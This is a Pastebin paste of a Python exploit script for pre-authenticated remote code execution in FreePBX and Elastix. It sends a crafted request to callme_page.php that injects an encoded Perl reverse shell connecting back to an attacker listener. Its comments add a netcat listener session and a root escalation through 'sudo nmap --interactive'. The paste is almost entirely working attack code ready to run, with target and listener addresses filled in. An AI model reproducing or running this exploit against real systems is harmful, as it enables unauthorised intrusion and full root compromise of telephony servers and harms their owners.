Guest User

Untitled

a guest
Mar 17th, 2020
970
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.13 KB | None | 0 0
  1. #!/usr/bin/python
  2. ############################################################
  3. # Exploit Title: FreePBX / Elastix pre-authenticated remote code execution exploit
  4. # Google Dork: oy vey
  5. # Date: March 23rd, 2012
  6. # Author: muts
  7. # Version: FreePBX 2.10.0/ 2.9.0, Elastix 2.2.0, possibly others.
  8. # Tested on: multiple
  9. # CVE : notyet
  10. # Blog post : http://www.offensive-security.com/vulndev/freepbx-exploit-phone-home/
  11. # Archive Url : http://www.offensive-security.com/0day/freepbx_callmenum.py.txt
  12. ############################################################
  13. # Discovered by Martin Tschirsich
  14. # http://seclists.org/fulldisclosure/2012/Mar/234
  15. # http://www.exploit-db.com/exploits/18649
  16. ############################################################
  17. import urllib.request
  18. rhost="10.10.10.7"
  19. lhost="192.168.56.138"
  20. lport=443
  21. extension="1000"
  22.  
  23. # Reverse shell payload
  24.  
  25. url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'
  26.  
  27. urllib.request.urlopen(url)
  28.  
  29. # On Elastix, once we have a shell, we can escalate to root:
  30. # root@bt:~# nc -lvp 443
  31. # listening on [any] 443 ...
  32. # connect to [172.16.254.223] from voip [172.16.254.72] 43415
  33. # id
  34. # uid=100(asterisk) gid=101(asterisk)
  35. # sudo nmap --interactive
  36.  
  37. # Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
  38. # Welcome to Interactive Mode -- press h <enter> for help
  39. # nmap> !sh
  40. # id
  41. # uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
Advertisement
Add Comment
Please, Sign In to add comment